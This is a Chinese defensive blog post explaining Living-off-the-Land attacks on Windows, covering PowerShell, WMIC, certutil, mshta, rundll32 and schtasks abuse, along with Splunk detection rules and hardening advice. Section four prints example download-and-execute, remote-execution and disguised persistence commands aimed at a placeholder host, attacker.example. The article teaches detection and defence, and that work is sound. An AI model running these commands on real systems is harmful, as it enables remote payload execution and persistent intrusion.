【网络安全】Living off the Land 攻击 | 蓝队防守

就地取材: Living off the Land 攻击

前言 :这篇文章把 "Living off the Land"(LotL,就地取材攻击)这件事讲清楚------攻击者为什么放着现成的木马不用,偏要用系统自带的工具作恶?这些工具都有哪些?更重要的是,作为防守方,我们能做点什么。全文站在防御视角展开,适合 SOC、应急响应和蓝队防守。


一、什么是"就地取材"

先从字面理解:Living off the Land ,直译是"靠山吃山、就地取材"。放到安全语境里,指的是攻击者不带自己的工具,直接利用目标系统上已经存在的、合法的内置程序来完成攻击。

这类被滥用的合法程序,业内有个专门的叫法------LOLBins(Living Off the Land Binaries)。

关键点在于:这些工具本身是微软或系统厂商官方签名的、可信的、系统默认就有的 。攻击者用它们干坏事,和管理员用它们干正事,在很多监控视角下长得几乎一模一样


二、攻击者为什么偏爱这一招

理解动机,才能理解防御。攻击者选择就地取材,核心就一个字:

具体来说有这么几层考量:

  1. 天生可信,默认放行。内置工具已经被信任、随处可用,而且往往被默认的安全策略放行。恶意活动因此能混进正常运维操作里。

  2. 不落地新文件 。传统木马要往磁盘写一个新的可执行文件(binary),这本身就是个显眼的检测点。而 LotL 可以直接在内存里执行代码,不落地明显的新文件,大幅降低了暴露风险。

  3. 复用合法凭据。攻击者可以借助这些工具重用系统里已有的合法凭据,让行为看起来更"名正言顺"。

  4. 降噪,拖慢检测 。以上几点叠加起来,结果就是噪声更小、检测更慢。防守方本来盯着的是"有没有陌生程序运行",而 LotL 恰恰绕过了这个视角。

  5. 便于持久化与横向移动 。用系统原生工具做持久化、在内网里横向移动时,看起来就像日常的管理员运维工作,极难和真实运维区分开。

一句话总结:攻击者不是在你系统里"多放"了什么,而是在"借用"你本来就有的东西。


三、常被滥用的 Windows 工具

被滥用的工具通常都具备这几类能力:脚本执行、系统管理、文件处理、任务调度 ------而这恰好精准对应了攻击者的常见需求:代码执行、持久化、侦察、横向移动

下面这几个是经典中的经典:

工具 正常用途 被滥用来做什么
PowerShell 系统自动化与管理 内存中执行脚本、远程下载载荷、自动化攻击流程
WMIC / WMI 查询和管理系统状态 在本地或远程主机上执行命令、探测系统信息
Certutil 处理证书 从网上抓取文件、对载荷进行编码/解码
Mshta 运行 HTA 应用 执行文档或链接投递进来的 HTA / 内联脚本
Rundll32 调用 DLL 导出函数 触发恶意 DLL 导出或 URL 处理器
schtasks(计划任务) 定时执行任务 在登录时或按计划运行代码,实现持久化

别忘了"签名的管理工具":Sysinternals

除了系统自带命令,攻击者还特别喜欢滥用微软官方签名的 Sysinternals 套件------因为它们和合法运维流程混得天衣无缝:

  • PsExec:本来是远程执行的运维神器,也是攻击者远程执行、横向移动的常用手段。
  • Autoruns :本来用来排查开机自启项,攻击者反过来用它发现和操纵持久化点

它们带着微软的签名,天然就有"可信"光环,这正是防御的难点所在。


四、逐个拆解:六大 LOLBin 的滥用手法与检测规则

上一节是概览,这一节动真格------把最常被滥用的六个工具挨个拆开:它能干什么、攻击者怎么滥用、真实命令长什么样、以及对应的检测思路。检测规则以 Splunk 语法给出,思路可以平移到其他 SIEM。

说明:下面的域名 attacker.example、路径均为示意,重点看参数组合的特征

4.1 PowerShell ------ 内存执行之王

PowerShell 是 Windows 上的脚本与自动化引擎。攻击者钟爱它,是因为它能直接在内存里跑脚本、不落地文件,能自动化大量系统操作、能联网,还能绕过部分执行策略。常见用途:下载载荷、信息收集、隐蔽执行代码、修改系统设置。

几条典型的恶意命令:

powershell 复制代码
# ① 无落地:从远程拉脚本,直接在内存执行
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX (New-Object System.Net.WebClient).DownloadString('http://attacker.example/payload.ps1')"

# ② Base64 编码隐藏真实意图
powershell -NoP -NonI -W Hidden -EncodedCommand SQBn...Base64...

# ③ 下载 exe 落地并执行
powershell -NoP -NonI -Command "Invoke-WebRequest 'http://attacker.example/file.exe' -OutFile 'C:\Users\Public\updater.exe'; Start-Process 'C:\Users\Public\updater.exe'"

拆解:

  • 第 ① 条是经典的 IEX (DownloadString) 组合:远程抓脚本、内存直接执行,不在磁盘留痕迹,拖慢检测。
  • 第 ② 条用 -EncodedCommand 把载荷藏进 Base64,人工审计和简单的日志过滤都容易漏掉。
  • 第 ③ 条则是下载并执行 file.exe,相对"传统"但依然常见。

留意那几个高频参数:-NoP(不加载配置文件)、-W Hidden(隐藏窗口)、-Exec Bypass(绕过执行策略)------正常运维极少三个凑一块。

检测(Splunk):

spl 复制代码
index=wineventlog OR index=sysmon (EventCode=4688 OR EventCode=1 OR EventCode=4104)
(CommandLine="*powershell*IEX*" OR CommandLine="*powershell*-EncodedCommand*"
 OR CommandLine="*powershell*-Exec Bypass*" OR CommandLine="*Invoke-WebRequest*"
 OR CommandLine="*DownloadString*" OR CommandLine="*Invoke-RestMethod*")
| stats count values(Host) as hosts values(User) as users values(ParentImage) as parents by CommandLine

提示:EventCode 4104 是 PowerShell 脚本块日志(Script Block Logging),开启它对检测 PowerShell 滥用至关重要。

4.2 WMIC ------ 远程执行的伪装大师

WMIC(Windows Management Instrumentation 命令行)让管理员查询和管理本地或远程系统。攻击者用它远程执行命令、创建进程、收集系统信息或建立持久化 ,而且不需要任何外部二进制文件。它天然混在管理员行为里,在受限环境中也常被放行。

powershell 复制代码
# ① 远程主机上创建进程,拉起 PowerShell 下载并执行脚本
wmic /node:TARGETHOST process call create "powershell -NoP -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.example/payload.ps1')"

# ② 远程侦察:查询目标主机上运行的进程及命令行
wmic /node:TARGETHOST process get name,commandline

# ③ 本地创建进程
wmic process call create "notepad.exe"

拆解:

  • 第 ① 条中,WMIC 相当于一个远程启动器:让远程主机自己创建一个 PowerShell 进程去下载执行脚本。
  • 第 ② 条向远程系统查询进程与命令行,返回结构化信息,是跨主机侦察的利器。
  • 第 ③ 条在本机用 process call create 拉起进程,演示了本地滥用形态。

检测(Splunk):

spl 复制代码
index=sysmon OR index=wineventlog (EventCode=1 OR EventCode=4688)
(CommandLine="*\\wmic.exe*process call create*" OR CommandLine="*wmic /node:* process call create*"
 OR CommandLine="*wmic*process get Name,CommandLine*")
| stats count values(Host) as hosts values(User) as users values(ParentImage) as parents by CommandLine

4.3 Certutil ------ 证书工具变身下载器

Certutil 本是微软的证书管理工具,但它顺带能用 -urlcache 下载文件 、能 -decode 把 Base64 文本还原成二进制 。攻击者爱它,因为它带微软签名、在运维中常见,能在不用 curl 之类工具的情况下投放文件,还能绕过一些简单的拦截规则。

powershell 复制代码
# ① 下载文件到本地
certutil -urlcache -split -f "http://attacker.example/payload.exe" C:\Users\Public\payload.exe

# ② 把 Base64 文本解码还原成 exe(把二进制当文本运输,到主机再重建)
certutil -decode C:\Users\Public\encoded.b64 C:\Users\Public\decoded.exe

# ③ 把 exe 编码成 Base64 文本(投放/传输时混淆)
certutil -encode C:\Users\Public\payload.exe C:\Users\Public\payload.b64

拆解: -urlcache -split -f 组合把远程内容抓下来落盘,-decode 让攻击者能把二进制伪装成文本运输、到目标再还原,-encode 则用于投放阶段混淆。一个"证书工具"出现下载和编解码参数,本身就极不正常。

检测(Splunk):

spl 复制代码
index=sysmon OR index=wineventlog (EventCode=1 OR EventCode=4688 OR EventCode=4663)
(Image="*\\certutil.exe" OR CommandLine="*certutil*")
(CommandLine="* -urlcache * -f *" OR CommandLine="* -decode *" OR CommandLine="* -encode *")
| stats count values(Host) as hosts values(User) as users values(ParentImage) as parents by CommandLine

4.4 Mshta ------ 一行内联脚本就能起进程

Mshta 用来运行 HTA(HTML Application)文件,而 HTA 里可以塞 VBScript 或 JavaScript。

powershell 复制代码
# ① 直接执行远程 HTA
mshta "http://attacker.example/payload.hta"

# ② 内联 javascript,不需要落地文件就能拉起 PowerShell
mshta "javascript:var s=new ActiveXObject('WScript.Shell');s.Run('powershell -NoP -NonI -W Hidden -Command Start-Process calc.exe');close();"

# ③ 执行本地 HTA(常作为附件投递或丢进共享盘)
mshta "C:\Users\Public\malicious.hta"

拆解: 第 ② 条最能说明问题------通过内联 javascript: URI 创建 WScript.Shell 对象直接起 PowerShell,全程没有落地的中间文件 。看到 mshta 后面跟着 http://javascript:.hta,都值得警惕。

检测(Splunk):

spl 复制代码
index=sysmon (EventCode=1 OR EventCode=4688) Image="*\\mshta.exe"
(CommandLine="*http*://*" OR CommandLine="*javascript:*" OR CommandLine="*.hta")
| stats count by host, user, ParentImage, CommandLine

4.5 Rundll32 ------ 调用 DLL 导出函数

Rundll32 用来执行 DLL 里导出的特定函数。

powershell 复制代码
# ① 加载 DLL 并调用其导出的 Start 函数
rundll32.exe C:\Users\Public\backdoor.dll,Start

# ② 借 url.dll 的 FileProtocolHandler 处理远程 URL
rundll32.exe url.dll,FileProtocolHandler "http://attacker.example/update.html"

# ③ 从可写目录里的临时 DLL 执行加载器逻辑
rundll32.exe C:\Windows\Temp\loader.dll,Run

拆解: 第 ② 条通过 url.dll,FileProtocolHandler + 远程 URL,让系统处理器去加载远程内容,可作为后续活动的引导。重点盯:导出函数来自 \Users\Public\\Windows\Temp\ 等可写目录,或出现 url.dll,FileProtocolHandler

检测(Splunk):

spl 复制代码
index=sysmon (EventCode=1 OR EventCode=4688 OR EventCode=7) Image="*\\rundll32.exe"
(CommandLine="*\\Users\\Public\\*" OR CommandLine="*url.dll,FileProtocolHandler*" OR CommandLine="*\\Windows\\Temp\\*")
| stats count by host, user, ParentImage, CommandLine

4.6 计划任务(schtasks)------ 持久化的头号手段

任务计划程序是 Windows 内置的自动化设施,可以在指定时间、登录事件或按周期运行程序/脚本。一个任务包含名称、触发器(何时运行)、动作(运行什么),以及可选的运行身份和条件。因为它是标准运维设施,任务会出现在正常系统日志里、也常被策略放行------这既服务合法运维,也成了攻击者持久化的温床。

攻击者创建或修改任务,来实现重启后依然存活 、在用户登录时或按固定节奏运行代码、或在清理其他痕迹后快速重新拉起载荷 。他们常给任务起个人畜无害的名字,比如 WindowsUpdateMaintenance 来避免引起注意。

powershell 复制代码
# ① 登录时触发,伪装成 WindowsUpdate,每次登录都下载执行远程脚本(持久化)
schtasks /Create /SC ONLOGON /TN "WindowsUpdate" /TR "powershell -NoP -NonI -Exec Bypass -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.example/ps1')"

# ② 每天 00:05 运行本地脚本(如定时加密、分阶段收集数据)
schtasks /Create /SC DAILY /TN "DailyJob" /TR "C:\Users\Public\encrypt.ps1" /ST 00:05

# ③ 手动立即触发已建好的任务
schtasks /Run /TN "WindowsUpdate"

拆解: 一个"看起来像系统更新"的任务却在每次登录时联网执行 PowerShell,这就是典型的持久化。注意任务名的伪装性 ------名字合法不代表动作合法,一定要看 /TR 里到底跑的是什么。

检测(Splunk):

spl 复制代码
index=wineventlog EventCode=4698 OR EventCode=4699 OR index=sysmon (EventCode=1 OR EventCode=4688)
(CommandLine="*schtasks* /Create*" OR CommandLine="*schtasks* /Run*"
 OR Image="*\\taskeng.exe" OR EventCode=4698)
| stats count by host, user, EventCode, TaskName, CommandLine

EventCode 4698 = 计划任务被创建,4699 = 计划任务被删除。这两个事件是审计持久化的关键日志。

小结

以上只是冰山一角------这些工具能被用来下载、执行、编解码载荷 ,但攻击者的弹药库远不止于此。作为分析人员,我们必须持续跟进最新手法、不断更新检测规则,才能在这些"平时合法的程序"露出獠牙时抓住它们。


五、不只是 Windows:两个必备清单

就地取材绝不是 Windows 的专利,Unix / Linux 上有一整套对应的玩法。社区维护了两个几乎是"行业标配"的公开清单,防守方和红队都该收藏:

  • LOLBAS ------ Windows 平台
    https://lolbas-project.github.io/
  • GTFOBins ------ Unix / Linux 平台
    https://gtfobins.github.io/

这两个项目系统性地记录了"哪些合法二进制文件能被用来干坏事、具体怎么用"。

对防守方而言,这两个清单的价值在于: 它帮你搞清楚哪些工具最可能被滥用、滥用背后通常想达成什么目标。有了这份认知,你才能有的放矢地去调优日志、去捕获完整的命令行和进程树、以及在那些"平时人畜无害的程序突然干出明显恶意的事"时,正确地拉高告警优先级。


六、蓝队怎么防:从缩小攻击面到快速响应

LotL 的检测难点在于"合法工具的合法调用 vs 恶意调用"边界模糊。所以防御思路不能只靠"黑名单杀软",而要多管齐下。下面是几条能实打实缩小攻击面、提升响应能力的措施:

1. 分层防御(纵深防御)

终端、网络、身份三个层面的防护组合起来。单点被绕过时,其他层还能兜底。就地取材最擅长绕过"终端上有没有陌生文件"这一层,所以网络侧和身份侧的监控尤其重要。

2. 应用程序控制(白名单)

AppLockerWindows Defender Application Control(WDAC) 这类应用控制策略,明确定义哪些脚本和可执行文件被允许运行

这是对付 LotL 的关键一招:与其防"坏的",不如只放行"好的"。比如,如果业务上根本不需要普通用户能跑 mshtacertutil,那就直接限制。

3. 最小权限原则

确保只有管理员才能访问和使用系统管理类工具。很多 LotL 手法依赖普通用户就能调起 PsExec、WMI、schtasks------把这些能力收回到管理员手里,攻击者的可用弹药就少了一大半。

4. 网络规则与 DNS 过滤

配置网络策略和 DNS 过滤,阻断或重定向到已知恶意域名和 IP 的连接 。像 certutil 抓文件、PowerShell 远程下载这类行为,拦在出口就是拦在关键路径上。

5. 明确的处置预案(Containment Playbook)

提前写好清晰的隔离与凭据吊销流程:一旦某台机器被判定失陷,如何隔离系统、如何吊销暴露的凭据,要有可直接执行的步骤。真出事时,最怕的是临时现想流程。

6. 定期复盘与更新

定期回顾并更新访问权限、日志覆盖范围、控制清单,让防御跟得上不断翻新的攻击手法。LOLBAS / GTFOBins 一直在更新,你的检测规则也不该是"一次配好、永远不动"。


七、给检测工程一点额外思路

上面是策略层面的,这里补充几条更偏"落地检测"的经验(原材料提到了方向,这里展开一下):

  • 别只记进程名,要记完整命令行powershell.exe 单独出现毫无意义,但 powershell -nop -w hidden -enc <一长串Base64> 就是强信号。命令行参数才是 LotL 检测的金矿。
  • 盯"父子进程关系"winword.exe 派生出 powershell.exe,或者 powershell 拉起 certutil 去下东西------单个工具都合法,但这种组合链条极不正常。进程树比单个进程更能说明问题。
  • 关注"不该出现的行为"certutil 出现 -urlcache-decode 参数;rundll32 后面跟着 URL;mshta 去访问远程地址------这些参数组合在正常运维里几乎不会出现。
  • 建立基线。先搞清楚你的环境里"正常的管理员活动"长什么样,偏离基线的才值得追。LotL 的本质是伪装成正常,那么"什么是正常"就必须由你先定义清楚。

八、总结

就地取材攻击的核心逻辑可以浓缩成一句话:

攻击者不带工具进门,而是就地借用你系统里那些可信、合法、默认放行的原生程序来作恶------从而把恶意活动藏进日常运维的噪声里。

防守方的应对思路,则可以浓缩成这样一条链:

复制代码
理解动机(为什么用原生工具 = 为了藏)
        │
        ├─ 知道弹药库:LOLBAS(Windows) / GTFOBins(Unix)
        │
        ├─ 缩小攻击面
        │     ├─ 应用白名单(AppLocker / WDAC)
        │     ├─ 最小权限(管理工具收归管理员)
        │     └─ 网络 / DNS 过滤(拦出口)
        │
        ├─ 提升可见性
        │     ├─ 记全命令行,不只记进程名
        │     ├─ 盯父子进程链
        │     └─ 建立"正常"基线
        │
        └─ 准备快速响应
              └─ 隔离 + 吊销凭据的处置预案

LotL 之所以难缠,正是因为它把攻击藏进了"正常"里。所以防御的本质不是去找"坏东西",而是先把"正常"定义清楚,再让一切偏离无处遁形


如果这篇对你有帮助,欢迎点赞收藏。文中所有内容仅用于防御性安全研究与检测能力建设,请勿用于未授权的测试。后续会继续更新命令行日志采集、Sysmon 规则配置等更落地的检测实战内容。

相关推荐
学逆向的1 小时前
汇编——寻址方式
开发语言·汇编·网络安全
上海云盾-小余1 小时前
全链路多层防护体系,一站式拦截 DDoS、CC、爬虫与注入攻击
网络·爬虫·安全·ddos
潘潘的嵌入式日记2 小时前
一个宏在调试阶段挡住所有误操作
安全·嵌入式··调试·编译期·bring-up
renhongxia12 小时前
AI安全保卫战:我们如何防止“失控”的智能体?
人工智能·深度学习·安全·机器学习·架构·机器人
8K超高清3 小时前
博冠获中国电影电视技术学会科技进步奖
人工智能·科技·算法·安全·接口隔离原则·智能硬件
momodira813 小时前
暑期安全短视频大赛线上投票制作教程
安全
humors22115 小时前
新手笔记本/路由/手机安全问题小记
安全·华为·电脑·手机·路由器·笔记本·tplink
廋到被风吹走16 小时前
【AI】从“卖能力“到“卖信任“,合规与安全成为新战场
人工智能·安全
FrameNotWork16 小时前
HarmonyOS 6.0 文件加密与安全存储:从哈希到硬件级密钥管理全链路实战
安全·哈希算法·harmonyos